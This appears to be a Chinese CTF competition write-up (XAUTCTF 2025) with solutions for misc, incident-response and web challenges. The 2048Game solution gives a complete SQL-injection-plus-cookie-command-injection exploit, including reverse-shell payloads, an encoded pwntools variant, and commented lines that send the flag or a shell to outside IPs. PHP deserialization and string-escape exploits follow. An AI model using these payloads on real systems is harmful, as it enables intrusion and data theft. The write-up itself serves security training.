[TOC]

Misc

SignIn

题目描述

出题人: Peng
难度: 签到

​ %58%41%55%54%43%54%46%7B%57%65%31%63%30%6D%65%5F%74%30%5F%58%41%55%54%43%54%46%7D

题解

​ URL解码即可

image-20250119223641022

try

题目描述

出题人: Peng
难度: 入门

​ 黑客意外获得了Peng常用密码的前5位13897,但不知道具体的位数,请你尝试恢复出完整的密码。

题解

​ 根据题目猜测为11位手机号

​ 使用Advanced Archive Password Recovery爆破,攻击类型选掩码,暴力范围选所有数字,掩码处填13897??????

​ 点击开始,约2分钟即可爆破成功,没猜出具体位数的话依次增加?的个数尝试即可

image-20250119224442031

1
XAUTCTF{Cell_phone_numbers_are_also_weak_passwords}

QR_code?

题目描述

出题人: Peng
难度: 中等

​ Peng在github上发现了一个好玩的项目,竟然可以利用摄像头传输文件!

题解

​ 根据题目描述,以及文件名cimbar.jpg,搜索发现github项目sz3/libcimbar

​ 阅读发现可以安装解码软件,没有安卓手机可以使用安卓模拟器

image-20250120005130275

​ 扫描成功后保存文件,然后上传到电脑查看,使用010 Editor打开,观察文件头发现是png文件

image-20250120010047451

​ 修改文件后缀后打开图片,看起来像二维码

image-20250120010147086

​ 在cimbar.png的文件尾发现提示HanXin_code

image-20250120010228188

​ 搜索发现是汉信码,使用在线解码工具解码失败,观察汉信码的构成,发现图片疑似被反色

image-20250120010606011

​ 使用随波逐流的图片反色即可

image-20250120010832679

​ 在线扫码工具扫码得到flag

1
XAUTCTF{H4nX1n_c0de_1s_am4z1ng}

滴滴嗒嗒

题目描述

出题人: Peng
难度: 普通

​ 嗒滴滴 滴 滴 滴嗒嗒滴 滴滴滴 嗒嗒嗒 滴滴嗒 嗒滴 嗒滴滴

题解

​ 根据题目描述,听音频,猜测为摩斯电码

在线解码,自定义短码为滴,长码为嗒,得到提示deepsound

image-20250120014458589

​ 使用在线摩尔斯电码音频解码器,解码得到password:8kf76f0q6ru2nkwf

image-20250120014652048

​ 使用deepsound导入音频,密码是小写的(摩斯电码没有大小写区分,都试一下)

1
8kf76f0q6ru2nkwf

​ 点击Extract提取隐藏的flag

image-20250120015110124

1
XAUTCTF{5e35e341-2b77-4c26-a4ee-b6269ce1d709}

攻击日志分析

题目描述

出题人: Peng
难度: 中等

​ 某网站数据库遭到黑客攻击,请你帮忙分析数据库泄露了什么信息,并尝试解密信息

题解

方法一

​ sql 时间盲注日志,观察日志格式,写正则脚本提取,可以网上查找类似脚本稍作修改

1
"GET /index.php?id=1%22%20and%20if(ascii(substr((select%20group_concat(key)%20from%20aes%20limit%200,1),1,1))='50',sleep(3),1)%20--+ HTTP/1.1" 200 546
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re
# 用到的一些变量
payload_list = []
result_dict = {}
result_list = []

# 以下分别为flag、key、iv的正则表达式,此题重点在正则的编写
re_str = r"flag\S+\),(\d+),\S+='(\d+)"
# re_str = r"key\S+\),(\d+),\S+='(\d+)"
# re_str = r"iv\S+\),(\d+),\S+='(\d+)"

#打开的日志文件,请把脚本放到日志文件同一目录下
f = open("access.log", "r")

#读取每一行并存到lines列表里
lines = ''.join(f.readlines()).split("\n")

#构建正则对象
number_pattern = re.compile(r'{}'.format(re_str))

#将每一行匹配到的一组数据放到payload_list列表中
for line in lines:
number = number_pattern.findall(line)
if number:
payload_list.append(number[0])
#观察每一行匹配到的数据,可以更好地写正则表达式
print(number[0])

print("result:", end="")

#将匹配到的数据放到字典里
for i in payload_list:
result_dict[i[0]]=i[1]
#将字典的值放到列表里
for value in result_dict.values():
result_list.append(int(value))
#将列表里的ascii码转为字符串打印出来
for j in result_list:
print(chr(j), end="")

​ key

1
2025XAUTCTF-0120

​ iv

1
iviviviviviviviv

​ 最后,使用cyberchef进行aes解密,密文为提取出的flag

image-20250120183352545

方法二

​ 观察发现,每条日志后面有546或519,546应该是成功的日志,写脚本把含有546的日志提取出来

1
2
3
4
5
file=open('access.log','r')
w=open('output.log','w')
for line in file:
if '519' not in line:
w.write(line)

​ 观察发现,字段名有flag,iv,key,猜测为aes加密,表名也有提示是aes加密

image-20250120160014198

image-20250120160041415

​ 手动提出来解ascii码即可

​ 此题为动态flag

沙滩,海洋,大冒险!

题目描述

出题人: BR

难度: 普通

​ “Play, play, and a little competition!”

​ 一到假期,BR就迫不急待跑出去玩了!可恶,校赛题还没有出完呢,这怎么能行?!

​ BR不愿意透露自己去哪里玩了,但是我们通过一些社会工程学手段打听到了一些信息。

​ 现在你需要基于题目附件给出的提示推断出BR去哪里玩了,并且找到BR出发时乘坐的那一班飞机!

​ flag为:XAUTCTF{搭乘的飞机航班号}

​ 示例:假如搭乘的是1月31日07:00-09:15从北京首都国际机场飞往上海浦东国际机场的东航MU5100,则flag为:XAUTCTF{MU5100}

题解

​ 题目给到聊天记录作为附件:

chat

​ 简单看一遍可以知道对方是从某个地方到另一个地方去,中途经过了转乘,整个过程至少搭乘了高铁和飞机。

​ 查看图一:

image-20250116011320870

​ 看到该图片情景中的道路上有路牌,其离张骞墓仅有4公里。

image-20250116011509910

​ 可以知道此处大致位于陕西省汉中市城固县。

image-20250116011624450

image-20250116011648086

​ 此处确实也有高铁站和机场,进一步证实我们的判断,可以推测对方是从汉中城固机场起飞的。

​ 百度识图图三和图四:

image-20250116011959616

image-20250116012102970

​ 可以确定目的地在海南海口。

image-20250116012154314

​ 目的地机场为海口美兰国际机场

​ 在航旅纵横(飞常准亦可)中可以查询往期航班。

​ 结合聊天记录中的时间,进行筛选:

image-20250116012509163

image-20250116012528527

​ 找到目标航班,航班号为GX8898,flag为XAUTCTF{GX8898}

应急响应

应急响应-1钓鱼邮件

题目描述

出题人: Peng
难度: 简单
下载链接: 群文件 | 百度网盘
解压密码: 9345166a-297f-4569-b2cc-7ed6a4331c40

​ 近日,Peng的个人电脑遭到黑客攻击,请你帮Peng溯源攻击链。

​ 黑客发送的钓鱼邮件的发件地址是?

​ 例:XAUTCTF{123456@qq.com}

题解

​ 解压,使用Vmware17.x导入虚拟机,点击vmx后缀文件即可导入

image-20250120172031621

​ 在下载里发现邮件,也可使用everthing按文件时间排序,找到最近修改的文件。

​ 用记事本打开即可发现发件人邮箱,也可以用在线 EML 编辑器

image-20250120172214385

image-20250120172256667

1
XAUTCTF{wspz@hacker.com}

应急响应-2一句话木马

题目描述

出题人: Peng
难度: 中等

​ 黑客写入的一句话木马的连接密码是?

​ 例:XAUTCTF{cmd}

题解

​ 在桌面看到安装了phpstudy,打开网站发现是空白

image-20250120174109933

方法一

​ 打开网站根目录查看,经过搜索,发现是蝉知7.7系统,后台地址是

1
http://localhost/www/admin.php

​ 账号密码用edge浏览器打开时有记录,直接登录

image-20250120174747285

​ 搜索蝉知7.7漏洞,找到文章蝉知企业门户系统v7.7 - 命令执行漏洞_蝉知7.7-CSDN博客

​ 得知可以在设计-高级中写一句话木马,最终,在首页发现一句话木马

image-20250120175024429

方法二

​ 使用d盾查杀网站文件,直接找到后门

image-20250120183755800

​ 也可以直接在文件中搜索eval等关键词

1
XAUTCTF{easyshell}

应急响应-3后门用户

题目描述

出题人: Peng
难度: 入门

​ 黑客的添加的后门用户是?

​ 例:XAUTCTF{hacker}

题解

网络搜索得知,windows用户名后加$便无法通过net user命令查询到

image-20250120175404438

方法一

​ 在windows开始菜单,点击头像即可显示后门用户

image-20250120175526026

方法二

​ 在控制面板中查询后门用户,此时可以看到,后门用户是Administrator管理员权限,更加确定是黑客为了维持权限而创建的用户

image-20250120175908062

1
XAUTCTF{wshacker$}

应急响应-4病毒文件

题目描述

出题人: Peng
难度: 中等

​ 黑客植入的病毒程序的外连ip及端口是

​ 例:XAUTCTF{192.168.0.1:8080}

题解

​ 在c盘根目录发现奇怪的程序,也可用everything找到,也可用火绒杀毒找到

image-20250120180924493

​ 拖入微步在线云沙箱分析,得到样本报告,发现确实是病毒文件

image-20250120181250171

​ 在网络行为里找到ip和端口

image-20250120181155157

​ 也可运行在虚拟机运行程序后使用 netstat -ano命令查看

image-20250120211531033

1
XAUTCTF{202.97.36.184:4782}

应急响应-5勒索钱包

题目描述

出题人: Peng
难度: 简单

​ 黑客留下的勒索钱包地址是?

​ 例:XAUTCTF{1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa}

题解

​ 在桌面的勒索信中找到钱包地址

image-20250120183539375

1
XAUTCTF{1oixtLbBewubT5cvRPd86ZEDLKgDFUe47C}

总结

事件还原

​ 综合以上分析可以推测:

​ Peng用phpstudy搭建了蝉知7.7系统,并且使用Cpolar内网穿透到了公网,分享给其他人访问,但因贪小便宜点击了钓鱼邮件,泄露了常用密码,黑客使用密码成功进入后台,由于没有安装最新网站系统,存在安全漏洞,被植入一句话木马,黑客利用一句话木马,添加了后门用户,植入了恶意病毒,获得了电脑的完整控制权。

Web

2048Game

题目描述

出题人: cykan

难度: 困难

​ python代码审计,有”一”点难度

题解

​ 进入题目为登录窗口,同时给出了题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
# app.py
import os
import subprocess
import logging
import sqlite3
import uuid
from flask import Flask, request, render_template, make_response
from pathlib import Path
from datetime import datetime
from werkzeug.security import check_password_hash

# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

app = Flask(__name__)

# Configuration constants
BASE_DIR = "/tmp"
timeout = 1000 * 60 * 60 # ms

# Database configuration
DB_NAME = 'users.db'


def get_db_connection():
conn = sqlite3.connect(DB_NAME)
conn.row_factory = sqlite3.Row
return conn


def init_db():
conn = get_db_connection()
conn.execute('''
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL
)
''')
conn.commit()
conn.close()


def get_time_now() -> int:
"""
Get current timestamp (milliseconds)
:return: Current timestamp
"""
return int(datetime.now().timestamp() * 1000)


def run_command(command: str) -> str:
"""
Function to execute system commands using Python, for future use
:param command: System command
:return: Output of the executed command
"""
logger.info(f"Executing command: {command}")
result = subprocess.run(command, capture_output=True, text=True, shell=True)
return result.stdout.strip()


def create_file_with_path(file_path: str) -> None:
"""
Create a file at the given path and write the expiration time
:param file_path: Storage path for the file
:return: None
"""
directory = os.path.dirname(file_path)

if not os.path.exists(directory):
os.makedirs(directory)
logger.info(f"Created directory: {directory}")
with open(file_path, 'w') as file:
file.write(str(get_time_now() + timeout) + "\n")
logger.info(f"Created file: {file_path}")


def save_session(sess_id: str) -> None:
"""
Save session value to corresponding file
:param sess_id: Session value
:return: None
"""
session_file_name = "session_" + sess_id
create_file_with_path(os.path.join(BASE_DIR, session_file_name))
logger.info(f"Saved session: {sess_id}")


def checking_session_survival(directory: str, sess_id: str) -> bool:
"""
Check if the corresponding session is still valid by traversing the session folder
:param directory: File path to traverse
:param sess_id: Session value to find
:return: Whether the session is still valid
"""
logger.info(f"Traversing directory: {directory}")
for item in Path(directory).rglob('*'):
if item.is_file():
logger.info(f'Processing file: {item}')

if sess_id not in str(item):
logger.debug(f"{sess_id = }")
logger.info(f"Filename does not contain SESSID: {item}")
continue

now_time = get_time_now()
over_time = run_command("cat %s" % str(item))
try:
if int(over_time) < int(now_time):
logger.info("SESSID expired")
return False
else:
logger.info("SESSID valid")
return True
except Exception as ex:
logger.error(f"Error processing file: {str(ex)}")
logger.warning("No valid file found")
return False


@app.route('/login', methods=['POST', 'GET'])
def login():
username = request.form.get('username')
password = request.form.get('password')

try:
conn = get_db_connection()
user = conn.execute("SELECT * FROM users WHERE username = '%s'" % username).fetchone()
conn.close()

except Exception as ex:
logger.error(f"{str(ex) = }")

if user and check_password_hash(user['password'], password):

# Login successful
# Create a unique session ID
sess_id = request.cookies.get('SESSID')
if sess_id is None:
sess_id = str(uuid.uuid4())

# Create response
response = make_response(render_template('index.html'))

# Set cookie
response.set_cookie('SESSID', sess_id, httponly=True)

# Here you might want to save this session ID on the server side, e.g., store it in the database
save_session(sess_id)

return response
else:
# Login failed, return failure page
return render_template('403.html')


@app.route('/', methods=['POST', 'GET'])
def index():
sess_id = request.cookies.get('SESSID')

if sess_id is not None:
if checking_session_survival(BASE_DIR, sess_id):
logger.info("Check successful")
return render_template('index.html')
else:
logger.info("Check failed")

return render_template('login.html')


if __name__ == '__main__':
# Initialize the database
init_db()

app.run(host="0.0.0.0", port=5000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# getdb.py
import sqlite3
import random
import string
from werkzeug.security import generate_password_hash

# Database configuration
DB_NAME = 'users.db'


def get_db_connection():
conn = sqlite3.connect(DB_NAME)
conn.row_factory = sqlite3.Row
return conn


def init_db():
conn = get_db_connection()
conn.execute('''
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL
)
''')
conn.commit()
conn.close()


def generate_random_string(length: int) -> str:
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))


def add_random_users(num_users: int):
conn = get_db_connection()
for _ in range(num_users):
username = generate_random_string(8) # 8-character username
password = generate_random_string(12) # 12-character password
hashed_password = generate_password_hash(password)
try:
conn.execute('INSERT INTO users (username, password) VALUES (?, ?)',
(username, hashed_password))
print(f"Added user: {username} with password: {password}")
except sqlite3.IntegrityError:
print(f"Username {username} already exists, skipping.")
conn.commit()
conn.close()


# Initialize the database and add random users
if __name__ == '__main__':
init_db()
add_random_users(5) # Add 5 random users
print("Database created and random users added.")

​ 漏洞点在于app.py中的login路由可以自定义sess_id,在登录成功后,会被作为文件名写入在/tmp目录下,而在index路由中有对于session是否存活的检测,其中存在命令执行函数,会使用cat命令获取文件内容,而倘若文件名是恶意命令拼接,则会导致RCE

​ 要解此题,我们首先需要进行登录,写入带有恶意文件名,在访问根路由进行RCE

​ 根据源码,在app.py中的第使用了不安全的第130行使用了不安全的sql语句的构造方法,并且username可控,这便会造成sql注入问题,根据getdb.py源码来看,数据库中存在随机生成的账户和密码哈希,即使通过sql注入获取到了该账户和密码哈希也无法进行破解,无法借此登录。

​ 此时需要转变下思路,既然不知道账户密码,我们可以仿照格式利用sql注入来伪造一个账户,例如我想要伪造一个账户名为BR,密码为123456的账户,仿照getdb.pyadd_random_users()函数的方法,执行以下sql语句:

1
select 0,'BR','scrypt:32768:8:1$97VxEEe6azNa3Jhw$9a14e8f27f9bc13ffce5af50f307e23e7ac04a5702359318785fb8e6db5120de0d822bb3d5affa1f69de07fe4cec1dfa2eeb90ecf60730f0890370c273615b3e';

​ 得到的结果是:

image-20250104230659576

​ 执行以下sql语句则返回:

1
SELECT * FROM users WHERE username = 'aaa' union select 0,'BR','scrypt:32768:8:1$97VxEEe6azNa3Jhw$9a14e8f27f9bc13ffce5af50f307e23e7ac04a5702359318785fb8e6db5120de0d822bb3d5affa1f69de07fe4cec1dfa2eeb90ecf60730f0890370c273615b3e';

image-20250104230751621

​ 对于程序来说,便会误以为获取的这个值是从实际数据库中获取的,从而实现伪造登录的目的。

​ 仿照数据格式进行构造:

image-20241222013923751

​ 那么登录的用户名便是:

1
BR' union select 0,'BR','scrypt:32768:8:1$97VxEEe6azNa3Jhw$9a14e8f27f9bc13ffce5af50f307e23e7ac04a5702359318785fb8e6db5120de0d822bb3d5affa1f69de07fe4cec1dfa2eeb90ecf60730f0890370c273615b3e'--+

​ 密码是:

1
123456

​ 登录进来是一个2048小游戏,打累了可以歇会()。

​ 接下来就需要写入恶意文件名来RCE了,没有回显,需要打一个无回显RCE,写静态文件或者反弹shell都可。

​ payload:

1
2
3
|bash -c "bash -i >& /dev/tcp/ip/port 0>&1"

|cat /flag > static/result.txt

​ 完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
from werkzeug.security import generate_password_hash

url = "http://47.121.201.96:64202/"
username = "admin"
password = "123456"
# sess_id = f'|bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
sess_id = f'|cat /flag > static/result.txt'

def login():
hasd_password = generate_password_hash(password)

post_data = {
"username": f"{username}' union select 0,'{username}','{hasd_password}'--+",
"password": password
}

return requests.post(url+"login", data=post_data, headers={"Cookie": f"SESSID={sess_id}"})

def index():
return requests.get(url,headers={"Cookie": f"SESSID={sess_id}"})

def get_result():
return requests.get(url+"static/result.txt")

if __name__ == "__main__":
login()
index()
print(get_result().text)

​ 附上ckyan的漏洞利用工具:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import base64
import argparse

from pwn import *

context.log_level = 'debug'

parser = argparse.ArgumentParser(description="Exploit of XAUTCTF2025 WEB-2048Game")

parser.add_argument("--ip", type=str, default="47.121.201.96", help="IP address")
parser.add_argument("--port", type=int, default=0, help="Port number")
parser.add_argument('--rip', "--reverse_ip", type=str, default="", help="Reverse IP address")
parser.add_argument("--rport","--reverse_port", type=int, default=1337, help="Reverse port number")

args = parser.parse_args()

ip = args.ip
port = args.port
reverse_ip = args.rip
reverse_port = args.rport

if reverse_ip == "":
parser.print_help()
exit(0)

p = remote(ip, port)

"""
from werkzeug.security import generate_password_hash
print(generate_password_hash("123456"))
"""

# reverse_shell
command = f"bash -i >& /dev/tcp/{reverse_ip}/{reverse_port} 0>&1"
command_bytes = command.encode('ascii')
base64_bytes = base64.b64encode(command_bytes)
base64_command = base64_bytes.decode('ascii')

print(f'{base64_command = }')

poc = 'bash${IFS}-c${IFS}"$(echo${IFS}%s|base64${IFS}-d)"' % base64_command


# poc = "curl${IFS}192.168.75.138:4444?cmd=$(cd<~|cat${IFS}flag);"

payload = ''
payload += 'POST /login HTTP/1.1\r\n'
payload += 'Host: %s:%s\r\n' % (ip, str(port))
payload += 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0\r\n'
payload += 'Content-Type: application/x-www-form-urlencoded\r\n'
payload += 'Content-Length: 221\r\n'
payload += 'Cookie: SESSID=/tmp/1.txt&%s;\r\n' % poc
# payload += "Cookie: SESSID=a|bash -c 'bash -i >& /dev/tcp/117.72.70.186/6789 0>&1'\r\n"
payload += '\r\n'
payload += "username=ck' union select 0, 'ck', 'scrypt:32768:8:1$EnqnntHbS0UGSr25$b397fe3cfd04c9a0b06a2febfe4dd9554c64999325e6b416adc3fdff1daaf8abfc6defe59e3e9ba351cc07a11846dab0afe4d1e96867d994d2be62360e0633bb' --+ '&password=123456\r"

p.send(payload.encode())
# print(p.recvall().decode())

sleep(1)

p.close()

sleep(1)

p = remote(ip, port)

payload2 = ''
payload2 += 'POST / HTTP/1.1\r\n'
payload2 += 'Host: %s:%s\r\n' % (ip, str(port))
payload2 += 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0\r\n'
payload2 += 'Content-Type: application/x-www-form-urlencoded\r\n'
payload2 += 'Content-Length: 221\r\n'
payload2 += 'Cookie: SESSID=1.txt&%s;\r\n' % poc
# payload2 += "Cookie: SESSID=a|bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'\r\n"
payload2 += '\r\n'

p.send(payload2.encode())

​ 运行示例:python3 exp.py --ip 47.121.201.96 --port 58290 --rip 47.121.201.96 --rport 55555

image-20250121191143148

​ 监听:nc -lvnp 55555

image-20250121191231606

EZ_PHP

题目描述

出题人: Echo

难度: 简单

​ 太好了,是PHP,我们有救了!

题解

​ 题目给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
show_source(__FILE__);
require('flag.php');
$a = $_GET['a'];
if($_POST['XAUT_CTF.COM'] && preg_match('/^xaut$/im',$a)){
if(preg_match('/^xaut$/i',$a)){
echo 'nonono';
}
else{
if(isset($_POST['m']) && isset($_POST['n'])){
$m=$_POST['m'];
$n=$_POST['n'];
parse_str($m,$t);
if($t['xaut'] == md5($n)){
echo $flag;
}
}
else{
die("你离胜利不远啦,加油!!");
}
}
}
else{
echo '请绕过一下哦!';
}

​ 完成以下条件即可获取flag:

  1. POST传入XAUT_CTF.COM参数使其有值;
  2. GET传入a参数,且其需要满足preg_match('/^xaut$/im',$a)的匹配;
  3. GET传入a参数,且其需要不满足preg_match('/^xaut$/i',$a)的匹配;
  4. POST传入m参数和n参数,使m参数按照URL查询参数的格式解析后,其xaut参数的值与n的md5值相同;
  • 对于条件1,需要利用php的解析特性达成,参考PHP字符串解析特性,传入XAUT[CTF.COM=1即可;

  • 对于条件2与条件3,条件2是多行匹配,条件3是单行匹配,当传入a=%0axaut时(%0a是换行符的url编码),条件2在第一行没有匹配到,在第二行匹配到,条件达成,而条件3在第一行没有匹配到,匹配失败,条件达成;

  • 对于条件4,传入m=xaut=19d3326f3137cbadd21ce901a9bed4a7&n=BR即可

    完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "http://47.121.201.96:58325/"

def exp():
post_data = {
"XAUT[CTF.COM": "1",
"m": "xaut=19d3326f3137cbadd21ce901a9bed4a7",
"n": "BR"
}
res = requests.post(url+"?a=%0axaut",data=post_data)
return res


if __name__ == "__main__":
res = exp().text
print(res)

独孤九剑

题目描述

出题人: hsad

难度: 普通

​ 一名程序员正在调试一款应用,却发现数据在传输过程中变得异常,数据似乎被人进行了篡改。

​ 于是经过一番研究,他决定到这些特殊的字符串需要特殊处理,避免被恶意利用。

​ 为了修复这个问题,他设计了一套机制,可以自动检测和规范化信息格式,还能将一些错误的片段替换为安全的内容。最终,他成功解 决了漏洞,让系统运行得更加稳定和高效……….吗?

题解

​ 访问题目获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);

require_once('Linghuchong.php');

$Move = isset($_GET['move']) ? $_GET['move'] : '独孤九剑';

$Checker = new Orz($Move);

$before = serialize($Checker);
$after = Lonely_Nine_Swords::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
echo unserialize($after);
}catch (Exception $e) {
echo "Caused a error...";
}
?>

​ 再访问看一下Linghuchong.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}

class Lonely_Nine_Swords{
private static $esoterica = array(
"di_yi_shi" => "Gen_Stance",
"di_er_shi" => "Sword-defeating_Stance",
"di_san_shi" => "Saber-defeating_Stance",
"di_si_shi" => "Spear-defeating_Stance",
"di_wu_shi" => "Whip-defeating_Stance",
"di_liu_shi" => "Chain_whip-defeating_Stance",
"di_qi_shi" => "Palm-defeating_Stance",
"di_ba_shi" => "Arrow-defeating_Stance",
"di_jiu_shi" => "Qi-defeating_Stance"
);

public static function Make_a_Move($move){
foreach(self::$esoterica as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}

class Orz{

public $Move = '';
public $Sword_Owner = 'Nobodyxxxx';

function __construct($move){
$this->Move = $move;
$this->Sword_Owner = 'Nobodyxxxx';
}

function __toString(){
if($this->Sword_Owner !== 'DuguQiubai'){
return "You still don't understand the way of swordsmanship";
}
else{
$f = fopen("/flag", "r");
$flag = fread($f, filesize("/flag"));
fclose($f);
return "You are a true swordsman..." . $flag;
}
}
}

?>

​ 很明显当Orz类中的Sword_Owner的值为DuguQiubai时即可获取flag。

move参数是由我们使用GET方法传入的,受到我们控制,及类中的Move可控,但这并无法修改被写死的Sword_Owner的值。

​ 注意到存在Lonely_Nine_Swords::Make_a_Move($move)这么一个方法的使用,那么他有什么用呢?

​ 这个方法遍历传入的$move这个字符串的字符,如果匹配到$esoterica这个数组中的”键”,就会把他替换成”值”,例如题目中di_yi_shi这个”键”对应着Gen_Stance这个”值”,倘若我们传入的字符串中存在di_yi_shi,那么它就会被替换为Gen_Stance

1
O:3:"Orz":2:{s:4:"Move";s:9:"di_yi_shi";s:11:"Sword_Owner";s:10:"Nobodyxxxx";}

​ 会变为

1
O:3:"Orz":2:{s:4:"Move";s:9:"Gen_Stance";s:11:"Sword_Owner";s:10:"Nobodyxxxx";}

​ 这就会导致字符串逃逸的问题,详细可以看看这些博客资源

​ 我们最终需要从这样的字符串:

1
O:3:"Orz":2:{s:4:"Move";s:2:"BR";s:11:"Sword_Owner";s:10:"Nobodyxxxx";}

​ 转变为类似这样的字符串:

1
O:3:"Orz":2:{s:4:"Move";s:7:"BR";s:11:"Sword_Owner";s:10:"DuguQiubai";}

​ 实际上php反序列化只会截取指定长度的部分,即:

1
2
3
O:3:"Orz":2:{s:4:"Move";s:2:"BR";s:11:"Sword_Owner";s:10:"Nobodyxxxx";}

O:3:"Orz":2:{s:4:"Move";s:2:"BR";s:11:"Sword_Owner";s:10:"Nobodyxxxx";}aaaaaaaaa

​ 表示的含义相同,因此我们需要使得Move参数为BR";s:11:"Sword_Owner";s:10:"Nobodyxxxx";}这样子,经过拼接就变为了:

image-20250105000345042

​ 我们希望它读到这样形式的字符串就停止,并忽略后面的字符:

1
O:3:"Orz":2:{s:4:"Move";s:42:"BR";s:11:"Sword_Owner";s:10:"DuguQiubai";}

​ 而s:42则表示他还要读42个字符,”BR”只有两个字符,显然并不够,于是需要用到字符串逃逸了!

​ 还记得刚刚提到的这个字符串吗?

1
O:3:"Orz":2:{s:4:"Move";s:9:"Gen_Stance";s:11:"di_yi_shi";s:10:"Nobodyxxxx";}

​ 本来我们之前传入的di_yi_shi是九个字符没错,但是Gen_Stance是十个字符,却仍然是s:9,就会导致一个字符的逃逸!

​ 而";s:11:"Sword_Owner";s:10:"DuguQiubai";}则有40个字符需要被逃逸。

​ 简单写一个小脚本计算一下”键”与”值”的差值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$esoterica = array(
"di_yi_shi" => "Gen_Stance", # 1
"di_er_shi" => "Sword-defeating_Stance", # 13
"di_san_shi" => "Saber-defeating_Stance", # 12
"di_si_shi" => "Spear-defeating_Stance", # 13
"di_wu_shi" => "Whip-defeating_Stance", # 12
"di_liu_shi" => "Chain_whip-defeating_Stance", # 17
"di_qi_shi" => "Palm-defeating_Stance", # 12
"di_ba_shi" => "Arrow-defeating_Stance", # 13
"di_jiu_shi" => "Qi-defeating_Stance" # 9
);

foreach ($esoterica as $key => $value){
echo strlen($value)-strlen($key);
echo " ";
$a = str_replace($key, $value, $a);
}

image-20250105001349226

​ 即这几个键值的替换依次会造成1 13 12 13 12 17 12 13 9的逃逸。

​ 由1+13+17+9=40可知,选择第一、二、六、九式即可。

​ 最终payload为:

1
?move=BRdi_yi_shidi_er_shidi_liu_shidi_jiu_shi";s:11:"Sword_Owner";s:10:"DuguQiubai";}

image-20250105001832433

unser

题目描述

出题人: Echo

难度: 入门

​ 小李是一位初学编程的小伙子,刚接触一种新语言。他发现这门语言操作数据的方式很特别,可以把复杂的信息转化为看似简单的文本,又能轻松恢复成原来的样子。

​ 为了练习,他写了一个小程序,记录好友的名字和生日。小李把这些信息转换成一个奇怪的格式保存起来。几天后,他用程序还原了这些数据,发现好友的生日一条不少。他很开心,觉得自己迈出了学习的第一步。

​ 这次成功让小李充满信心,他开始觉得学编程并没有想象中那么难嘛!

题解

​ 题目给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
include("flag.php");
class login{
public $user;
public $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="admin" and $this->pass=="admin123"){
return True;
}
}
}

if(isset($_GET['flag']))
{
$a=unserialize($_GET['flag']);
if($a->login())
{
echo $flag;
}
}

​ 非常基础的php序列化与反序列化题目,直接给出EXP:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class login{
public $user;
public $pass;
}

$a = new login();
$a->user="admin";
$a->pass="admin123";
echo serialize($a);
# O:5:"login":2:{s:4:"user";s:5:"admin";s:4:"pass";s:8:"admin123";}
?>

image-20241222030936320

重生之我在CTF里打ACM

题目描述

出题人: BR

难度: 简单

​ “上一世,我因为熬夜打Codeforces没做出签到题而被活活气死,这一世我重生归来发现全球acm水平下降一万倍!!我随手一写的冒泡排序就让一众world-final金牌选手叹为观止!!!这次我定将一雪前耻!”

​ “握草,这咋是CTF???”

题解

​ 进入题目,是一个在线测评系统:

image-20250116234542398

​ 先正常操作一下,写一个简单的c语言代码:

1
2
3
4
5
6
7
8
#include <stdio.h>

int main(){
int a,b;
scanf("%d %d",&a,&b);
printf("%d",a+b);
return 0;
}

​ 很遗憾,没有通过:

image-20250117000120074

